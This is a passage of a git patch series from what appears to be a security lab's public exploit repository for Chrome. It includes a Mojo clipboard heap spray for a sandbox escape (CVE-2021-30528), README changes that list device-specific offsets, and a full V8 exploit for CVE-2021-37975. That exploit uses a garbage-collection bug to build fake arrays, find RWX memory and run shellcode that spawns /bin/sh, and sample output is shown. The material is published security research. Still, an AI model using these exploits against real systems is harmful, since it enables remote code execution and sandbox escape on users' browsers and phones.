+          let keyView = new Uint8Array(keyStore);
+          keyData.fill(0);
+          keyView[23] = 0x50;
+          keyData[0] = i;
+		  key.data = keyData;
+		  let bigBuffer = new mojoBase.mojom.BigBuffer();
+          let valueData = new Array(24);
+          valueData.fill(46);
+          bigBuffer.bytes = valueData;
+          let value = new mojoBase.mojom.BigString16();
+          value.data = bigBuffer;
+          customData.set(key, value);
+        }
+        return customData;
+      }
+
+      function createClipboards(n, clipboardArr) {
+        for (let i = 0; i < n; i++) {
+          let clipboard_ptr = new blink.mojom.ClipboardHostPtr();
+          Mojo.bindInterface(blink.mojom.ClipboardHost.name,
+                            mojo.makeRequest(clipboard_ptr).handle);
+          clipboardArr.push(clipboard_ptr);
+        }
+      }
+
+
+      function createIframe(id, src) {
+	    let iframe = document.createElement('iframe');
+	    iframe.style.display="none";
+	    iframe.setAttribute('id', id);
+        if (src !== undefined) {
+	      iframe.src = src;
+        }
+	    document.body.appendChild(iframe);
+      }
+      
+      function removeIframe(id) {
+	    let frame = document.getElementById(id);
+	    frame.parentNode.removeChild(frame);
+        for (let i = 0; i < clipboardSize; i++) {
+            clipboards[i].writeCustomData(customData);
+        }  
+      }
+    
+      function load() {
+        createClipboards(clipboardSize, clipboards);
+        customData = createCustomData(1000);
+        postMessage("spray", "spray");
+        createIframe("trigger", "trigger.html");
+
+      }
+    </script>
+  </head>
+
+  <body onload="load()"></body>
+
+</html>  
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/copy_mojo_js_bindings.py b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/copy_mojo_js_bindings.py
new file mode 100644
index 0000000..6dc4aae
--- /dev/null
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/copy_mojo_js_bindings.py
@@ -0,0 +1,20 @@
+#! /usr/bin/python
+
+import os
+import shutil
+import sys
+
+base_path = sys.argv[1]
+for path, dirs, files in os.walk(base_path):
+  for file in files:
+    if file == 'mojo_bindings.js':
+      shutil.copyfile(os.path.join(path, file), os.path.join('./', file))
+    
+    if file.endswith('.mojom.js'):
+      target_path = os.path.join('./', path[len(base_path) + 1:])
+      try:
+        os.makedirs(target_path)
+      except:
+        pass
+      shutil.copyfile(os.path.join(path, file), os.path.join(target_path, file))
+

From 496d8c61a49661eef96bc960da89877c8994336f Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Fri, 24 Sep 2021 13:33:20 +0100
Subject: [PATCH 045/104] Add Pixel 3a offsets and corrected firmware version.

---
 .../SandboxEscape/CVE-2021-30528/aarch64/README.md   | 12 ++++++++++--
 .../SandboxEscape/CVE-2021-30528/arm/README.md       |  2 +-
 2 files changed, 11 insertions(+), 3 deletions(-)

diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md
index 4bd332a..ea50e89 100644
--- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md
@@ -1,8 +1,16 @@
 ## 64 bit version
 
-The 64 bit version 90.0.4430.91 of Chrome is tested with Samsung Galaxy A71 firmware version A715FXXU3BUB5.
+The 64 bit version 90.0.4430.91 of Chrome are tested with the following devices: 
+1. Pixel 3a firmware version RQ1A.210205.004
+2. Samsung Galaxy A71 firmware version A715FXXU3BUB5
 
-The offsets included in `arm64_renderer.patch` are with respect to this firmware. The `arm64_renderer.patch` is used to simulate a compromised renderer. 
+The offsets included in `arm64_renderer.patch` are with respect to A71. To test Pixel3a, change the A71 specific offsets to the following instead:
+```
+ uint64_t executeOffset = 0x711354;
+ uint64_t systemOffset = 0x5f278;
+```
+
+The `arm64_renderer.patch` is used to simulate a compromised renderer. 
 
 The patch `browser.patch` patches the browser to make local testing more convenient. It does the following:
 1. It removes the `ServerCards` check to simulate having a credit card store in an account (rather than on the device):
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md
index 08fad30..bfd4949 100644
--- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md
@@ -1,7 +1,7 @@
 ## 32 bit version
 
 The 32 bit version 88.0.4324.181 of Chrome are tested with the following devices: 
-1. Pixel 3a firmware version RP1A.200720.009
+1. Pixel 3a firmware version RQ1A.210205.004
 2. Samsung Galaxy A71 firmware version A715FXXU3BUB5
 
 The offsets included in `arm_renderer.patch` are with respect to these firmware. (To test on Pixel 3a, the offset for A71 needs to be commented out) The `arm_renderer.patch` is used to simulate a compromised renderer. 

From f762d797a42e37ad3d725b51e08ca4f2f231304f Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Mon, 27 Sep 2021 08:30:21 -0700
Subject: [PATCH 046/104] Update
 SecurityExploits/Chrome/v8/CVE-2021-30623/README.md

Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com>
---
 SecurityExploits/Chrome/v8/CVE-2021-30623/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
index 421f8a0..e0dbc53 100644
--- a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
+++ b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
@@ -58,4 +58,4 @@ function writeShellCode(rwxAddr, shellArr) {
 var elementsAddr = ftoi32(addrs[1])[0];             //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];
 ```
 
-This, however, does not affect the reliability of the exploit as the offsets are stable as long as the file is fixed, but it may cause issues the poc is modified. I do not know what causes this, but the exploit can probably be made more robust against this by matching pattern in memory instead of relying on fixed offsets.
+This, however, does not affect the reliability of the exploit as the offsets are stable as long as the file is fixed, but it may cause issues if the poc is modified. I do not know what causes this, but the exploit can probably be made more robust against this by matching patterns in memory instead of relying on fixed offsets.

From d39ee1a16d4668d1c2eb46a33b0baf790cff874c Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Mon, 27 Sep 2021 08:30:42 -0700
Subject: [PATCH 047/104] Update
 SecurityExploits/Chrome/v8/CVE-2021-30623/README.md

Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com>
---
 SecurityExploits/Chrome/v8/CVE-2021-30623/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
index e0dbc53..7168bc0 100644
--- a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
+++ b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
@@ -24,7 +24,7 @@ $
 
 Shell code may need changing on other platforms.
 
-The exploit is very reliable, however, when testing, I notice that some offsets appear to be sensitive to small changes in the file (even adding comments may cause problem), which would cause the exploit to fail. This only happens when the file is modified and usually manifest itself with some garbage values of the addresses, for example:
+The exploit is very reliable, however, when testing, I notice that some offsets appear to be sensitive to small changes in the file (even adding comments may cause problem), which would cause the exploit to fail. This only happens when the file is modified and usually manifests itself with some garbage values of the addresses, for example:
 
 ```
 instance: 81d42dd

From cd35f79fc4e9309b172461d84f265f53cb835ddf Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Mon, 27 Sep 2021 08:31:33 -0700
Subject: [PATCH 048/104] Update
 SecurityExploits/Chrome/v8/CVE-2021-30623/README.md

---
 SecurityExploits/Chrome/v8/CVE-2021-30623/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
index 7168bc0..310d25c 100644
--- a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
+++ b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
@@ -24,7 +24,7 @@ $
 
 Shell code may need changing on other platforms.
 
-The exploit is very reliable, however, when testing, I notice that some offsets appear to be sensitive to small changes in the file (even adding comments may cause problem), which would cause the exploit to fail. This only happens when the file is modified and usually manifests itself with some garbage values of the addresses, for example:
+The exploit is very reliable, however, when testing, I noticed that some offsets appear to be sensitive to small changes in the file (even adding comments may cause problem), which would cause the exploit to fail. This only happens when the file is modified and usually manifests itself with some garbage values of the addresses, for example:
 
 ```
 instance: 81d42dd

From c8b8d9fdd30d2959cda7a14497e3e7620a08c06e Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Thu, 30 Sep 2021 14:02:29 +0100
Subject: [PATCH 049/104] Correct typos

---
 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md  | 2 +-
 .../Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md       | 2 +-
 .../Chrome/SandboxEscape/CVE-2021-30528/arm/README.md           | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
index bb58e55..3f8465f 100644
--- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
@@ -1,6 +1,6 @@
 ## Chrome Sandbox Escape CVE-2021-30528
 
-The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a bug Chrome I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome issue Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer.
+The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a bug Chrome I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome issue Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer.
 
 Two exploits are included, one for the 64 bit version 90.0.4430.91 and the other is for the 32 bit version 88.0.4324.181. The build configs are in the corresponding sub directories.
 
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md
index ea50e89..c54f9f4 100644
--- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md
@@ -25,7 +25,7 @@ The patch `browser.patch` patches the browser to make local testing more conveni
 
 ```
 
-2. It removes the requirement for secure content, which would require a properly set up https context. (Self signing certificate for localhost does not pass this)
+2. It removes the requirement for secure content, which would require a properly set up https context. (Self signed certificate for localhost does not pass this)
 
 ```
 @@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions(
diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md
index bfd4949..94e4612 100644
--- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md
@@ -19,7 +19,7 @@ The patch `browser.patch` patches the browser to make local testing more conveni
 
 ```
 
-2. It removes the requirement for secure content, which would require a properly set up https context. (Self signing certificate for localhost does not pass this)
+2. It removes the requirement for secure content, which would require a properly set up https context. (Self signed certificate for localhost does not pass this)
 
 ```
 @@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions(

From 47a75a46a42918b1a14df001a31151dd27034624 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Thu, 30 Sep 2021 07:36:00 -0700
Subject: [PATCH 050/104] Update
 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md

Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com>
---
 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
index 3f8465f..bbe5833 100644
--- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
@@ -1,6 +1,6 @@
 ## Chrome Sandbox Escape CVE-2021-30528
 
-The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a bug Chrome I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome issue Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer.
+The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a Chrome bug I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer.
 
 Two exploits are included, one for the 64 bit version 90.0.4430.91 and the other is for the 32 bit version 88.0.4324.181. The build configs are in the corresponding sub directories.
 

From 0efb384633acc2126fb3ee5fd83091ca9384ca7f Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Thu, 30 Sep 2021 07:36:22 -0700
Subject: [PATCH 051/104] Update
 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md

Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com>
---
 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
index bbe5833..29ac40a 100644
--- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
@@ -24,4 +24,4 @@ python -m SimpleHTTPServer
 
 Then open the page `http://localhost:8000/trigger2_64.html` or `http://localhost:8000/trigger2_32.html` (depending on the version) from Chrome on the device. The easiest way is to use the `chrome://inspect/#devices` tool to set up the proxies etc. and open the url.
 
-If successful, the shell command will run and a file called `pwn` will be created in the directory `/data/data/org.chromium.chrome/` in the phone. This should success most of the time.
+If successful, the shell command will run and a file called `pwn` will be created in the directory `/data/data/org.chromium.chrome/` in the phone. This should succeed most of the time.

From 258530e90b0e9a92d6839d636f9defe9492427fd Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Thu, 30 Sep 2021 07:36:30 -0700
Subject: [PATCH 052/104] Update
 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md

Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com>
---
 .../Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md       | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md
index c54f9f4..501d6dc 100644
--- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md
@@ -1,6 +1,6 @@
 ## 64 bit version
 
-The 64 bit version 90.0.4430.91 of Chrome are tested with the following devices: 
+The 64 bit version 90.0.4430.91 of Chrome is tested with the following devices: 
 1. Pixel 3a firmware version RQ1A.210205.004
 2. Samsung Galaxy A71 firmware version A715FXXU3BUB5
 

From 85c0fc2c1d3b5b067c6b5f938875253cc66bea74 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Thu, 30 Sep 2021 07:36:37 -0700
Subject: [PATCH 053/104] Update
 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md

Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com>
---
 .../Chrome/SandboxEscape/CVE-2021-30528/arm/README.md           | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md
index 94e4612..cda562d 100644
--- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md
+++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md
@@ -1,6 +1,6 @@
 ## 32 bit version
 
-The 32 bit version 88.0.4324.181 of Chrome are tested with the following devices: 
+The 32 bit version 88.0.4324.181 of Chrome is tested with the following devices: 
 1. Pixel 3a firmware version RQ1A.210205.004
 2. Samsung Galaxy A71 firmware version A715FXXU3BUB5
 

From 225a423e0cdce8aafa9299eef24eae91676a91cb Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Fri, 8 Oct 2021 09:05:49 +0100
Subject: [PATCH 054/104] Correct CVE ID

---
 .../Chrome/v8/{CVE-2021-30623 => CVE-2021-30632}/README.md    | 4 ++--
 .../Chrome/v8/{CVE-2021-30623 => CVE-2021-30632}/poc.js       | 0
 2 files changed, 2 insertions(+), 2 deletions(-)
 rename SecurityExploits/Chrome/v8/{CVE-2021-30623 => CVE-2021-30632}/README.md (96%)
 rename SecurityExploits/Chrome/v8/{CVE-2021-30623 => CVE-2021-30632}/poc.js (100%)

diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md b/SecurityExploits/Chrome/v8/CVE-2021-30632/README.md
similarity index 96%
rename from SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
rename to SecurityExploits/Chrome/v8/CVE-2021-30632/README.md
index 310d25c..41dbc50 100644
--- a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md
+++ b/SecurityExploits/Chrome/v8/CVE-2021-30632/README.md
@@ -1,6 +1,6 @@
-## Chrome in-the-wild bug CVE-2021-30623
+## Chrome in-the-wild bug CVE-2021-30632
 
-The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30623). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild.
+The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild.
 
 The exploit here is tested on `v8` version 9.3.345.16 (commit `632e6e7`), which is the version shipped with Chrome 93.0.4577.63, the one before the bug is fixed, on Ubuntu 20.04. I have not tested it on Chrome itself.
 
diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/poc.js b/SecurityExploits/Chrome/v8/CVE-2021-30632/poc.js
similarity index 100%
rename from SecurityExploits/Chrome/v8/CVE-2021-30623/poc.js
rename to SecurityExploits/Chrome/v8/CVE-2021-30632/poc.js

From c1022abf7a792e3ef61e8add8e30607415f4e023 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Fri, 8 Oct 2021 09:40:53 +0100
Subject: [PATCH 055/104] Initial commit

---
 .../Chrome/v8/CVE-2021-37975/README.md        |  47 +++
 .../Chrome/v8/CVE-2021-37975/poc.js           | 285 ++++++++++++++++++
 2 files changed, 332 insertions(+)
 create mode 100644 SecurityExploits/Chrome/v8/CVE-2021-37975/README.md
 create mode 100644 SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js

diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md
new file mode 100644
index 0000000..d72440c
--- /dev/null
+++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md
@@ -0,0 +1,47 @@
+## Chrome in-the-wild bug CVE-2021-37975
+
+The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild.
+
+The exploit here is tested on `v8` version 9.4.146.16 (commit `452f57b`), which is the version shipped with Chrome 94.0.4606.71, the one before the bug is fixed, on Ubuntu 20.04. Tested on two different devices with different specs.
+
+To test, check out `v8` at commit `452f57b` and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8`:
+
+```
+./d8 poc.js
+```
+
+On Ubuntu 20.04, it should call `execve("/bin/sh")` to spawn a new process:
+
+```
+./d8 poc.js
+fail to find object address.
+fail to find object address.
+fail to find object address.
+fetch failed
+fail to find object address.
+fail to find object address.
+fetch failed
+fail to find object address.
+fail to find object address.
+fail to find object address.
+fail to find object address.
+fail to find object address.
+fail to find object address.
+fail to find object address.
+fail to find object address.
+fail to find object address.
+fail to find object address.
+found instance address: 0x81d40f5 at index: 0
+array address: 0x804294d
+array element address: 0x8042935
+fake array at: 8 index: 0
+rwx address at: 0x28c7931bc000
+fake array at: 8 index: 1
+rwx address at: 0x28c7931bc000
+shellArray addr: 0x8048d75
+$ 
+```
+
+Shell code may need changing on other platforms.
+
+The exploit is not reliable, (probably about 50 percent success rate). The variable `gcSize` may need changing depending on the device, and the variable `mapAddr` also depends on the version of v8 (it is an offset).
diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js b/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js
new file mode 100644
index 0000000..da25778
--- /dev/null
+++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js
@@ -0,0 +1,285 @@
+function sleep(miliseconds) {
+   var currentTime = new Date().getTime();
+   while (currentTime + miliseconds >= new Date().getTime()) {
+   }
+}
+
+var initKey = {init : 1};
+var level = 4;
+var map1 = new WeakMap();
+var gcSize = 0x4fe00000;
+
+//Get mapAddr using DebugPrint for double array (the compressed address of the map)
+var mapAddr = 0x8203ae1;
+
+var rwxOffset = 0x60;
+
+var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
+var module = new WebAssembly.Module(code);
+var instance = new WebAssembly.Instance(module);
+var wasmMain = instance.exports.main;
+
+//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
+function hideWeakMap(map, level, initKey) {
+  let prevMap = map;
+  let prevKey = initKey;
+  for (let i = 0; i < level; i++) {
+    let thisMap = new WeakMap();
+    prevMap.set(prevKey, thisMap);
+    let thisKey = {'h' : i};
+    //make thisKey reachable via prevKey
+    thisMap.set(prevKey, thisKey);
+    prevMap = thisMap;
+    prevKey = thisKey;
+    if (i == level - 1) {
+      let retMap = new WeakMap();
+      map.set(thisKey, retMap);
+      return thisKey;
+    }
+  }
+}
+//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
+function getHiddenKey(map, level, initKey) {
+  let prevMap = map;
+  let prevKey = initKey;
+  for (let i = 0; i < level; i++) {
+    let thisMap = prevMap.get(prevKey);
+    let thisKey = thisMap.get(prevKey);
+    prevMap = thisMap;
+    prevKey = thisKey;
+    if (i == level - 1) {
+      return thisKey;
+    }
+  }
+}
+
+function setUpWeakMap(map) {
+//  for (let i = 0; i < 1000; i++) new Array(300);
+  //Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
+  let hk = hideWeakMap(map, level, initKey);
+//Round 1 maps
+  let hiddenMap = map.get(hk);
+  let map7 = new WeakMap();
+  let map8 = new WeakMap();
+
+//hk->k5, k5: discover->wl
+  let k5 = {k5 : 1};
+  let map5 = new WeakMap();
+  let k7 = {k7 : 1};
+  let k9 = {k9 : 1};
+  let k8 = {k8 : 1};
+  let ta = new Uint8Array(1024);
+  ta.fill(0xfe);
+  let larr = new Array(1 << 15);
+  larr.fill(1.1);
+  let v9 = {ta : ta, larr : larr};
+  map.set(k7, map7);
+  map.set(k9, v9);
+
+//map3 : kb|vb: initial discovery ->wl
+  hiddenMap.set(k5, map5);
+  hiddenMap.set(hk, k5);
+
+//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
+//iter3: wl: map5 : mark map7, k7, no discovery, iter end
+  map5.set(hk, k7);
+  
+//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
+//iter1
+
+//wl discovers map8, and mark k8 black
+  map7.set(k8, map8);
+  map7.set(k7, k8);
+
+//discovery moves k8, map8 into wl
+//iter2 marks k9 black, iter finished
+  map8.set(k8,k9);
+  
+}
+var view = new ArrayBuffer(24);
+var dblArr = new Float64Array(view);
+var intView = new Int32Array(view);
+var bigIntView = new BigInt64Array(view);
+
+function ftoi32(f) {
+  dblArr[0] = f;
+  return [intView[0], intView[1]];
+}
+
+function i32tof(i1, i2) {
+  intView[0] = i1;
+  intView[1] = i2;
+  return dblArr[0];
+}
+
+function itof(i) {
+  bigIntView = BigInt(i);
+  return dblArr[0];
+}
+
+function ftoi(f) {
+  dblArr[0] = f;
+  return bigIntView[0];
+}
+
+function gc() {
+  //trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
+  new ArrayBuffer(gcSize);
+}
+
+function restart() {
+  //Should deopt main if it gets optimized
+  global.__proto__ = {};
+  gc();
+  sleep(2000);
+  main();
+}
+
+function main() {
+	setUpWeakMap(map1);
+	gc();
+
+	let objArr = [];
+
+	for (let i = 0; i < 200; i++) {
+	  let thisArr = new Array(1 << 15);
+	  objArr.push(thisArr);
+	}
+	//These are there to stop main being optimized by JIT
+    globalIdx['a' + globalIdx] = 1;
+    let obj = [1.1,1.1,1.1];
+    //Can't refactor this, looks like it cause some double rounding problem (got optimized?)
+	for (let i = 0; i < objArr.length; i++) {
+	  let thisArr = objArr[i];
+	  thisArr.fill(instance);
+	}
+    globalIdx['a' + globalIdx + 1000] = 1;
+    let result = null;
+	try {
+      result = fetch();
+    } catch (e) {
+      console.log("fetch failed");
+      restart();
+      return;
+    }
+    if (!result) {
+	  console.log("fail to find object address.");
+      restart();
+      return;
+    }
+
+    let larr = result.larr;
+    let index = result.idx;
+
+    let instanceAddr = ftoi32(larr[index])[0];
+    console.log("found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
+	for (let i = 0; i < objArr.length; i++) {
+	  let thisArr = objArr[i];
+	  thisArr.fill(obj);
+	}
+    globalIdx['a' + globalIdx + 2000] = 1;
+
+    let addr = ftoi32(larr[index])[0];
+    let objEleAddr = addr - 0x20 + 0x8;
+    let floatAddr = i32tof(objEleAddr, objEleAddr);
+    let floatMapAddr = i32tof(mapAddr, mapAddr);
+    //Faking an array at using obj[0] and obj[1]
+    obj[0]  = floatMapAddr;
+    let eleLength = i32tof(instanceAddr + rwxOffset, 10);
+
+    obj[1] = eleLength;
+
+    larr[index] = floatAddr;
+
+    console.log("array address: 0x" + addr.toString(16));
+    console.log("array element address: 0x" + objEleAddr.toString(16));
+
+    let rwxAddr = 0;
+    let objArrIdx = -1;
+    let thisArrIdx = -1;
+    for (let i = 0; i < objArr.length; i++) {
+      globalIdx['a' + globalIdx + 3000] = 1;
+	  global.__proto__ = {};
+      let thisArr = objArr[i];
+      for (let j = 0; j < thisArr.length; j++) {
+        let thisObj = thisArr[j];
+        if (thisObj != obj) {
+          console.log("fake array at: " + i + " index: " + j);
+          objArrIdx = i;
+          thisArrIdx = j;
+          if (!(thisObj instanceof Array)) {
+            console.log("failed getting fake array.");
+            restart();
+            return;
+          }
+          rwxAddr = thisObj[0];
+          console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));
+        }
+      }
+    }
+    globalIdx['a' + globalIdx + 4000] = 1;
+
+    if (rwxAddr == 0) {
+      console.log("failed getting rwx address.");
+      restart();
+      return;
+    }
+
+    //Read shellArray address
+    let shellArray = new Uint8Array(100);
+    let thisArr = objArr[objArrIdx];
+    thisArr.fill(shellArray);
+
+    let shellAddr = ftoi32(larr[index])[0];
+    console.log("shellArray addr: 0x" + shellAddr.toString(16));
+    obj[1] = i32tof(shellAddr + 0x20, 10);
+    //Place fake array back into objArr[objArrIdx][thisArrIdx]
+    larr[index] = floatAddr;
+    let fakeArray = objArr[objArrIdx][thisArrIdx];
+    fakeArray[0] = rwxAddr;
+    var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
+    for (let i = 0; i < shellCode.length; i++) {
+      shellArray[i] = shellCode[i];
+    }
+    wasmMain();
+}
+
+function findTA(ta) {
+    let found = false;
+    for (let i = 0; i < 16; i++) {
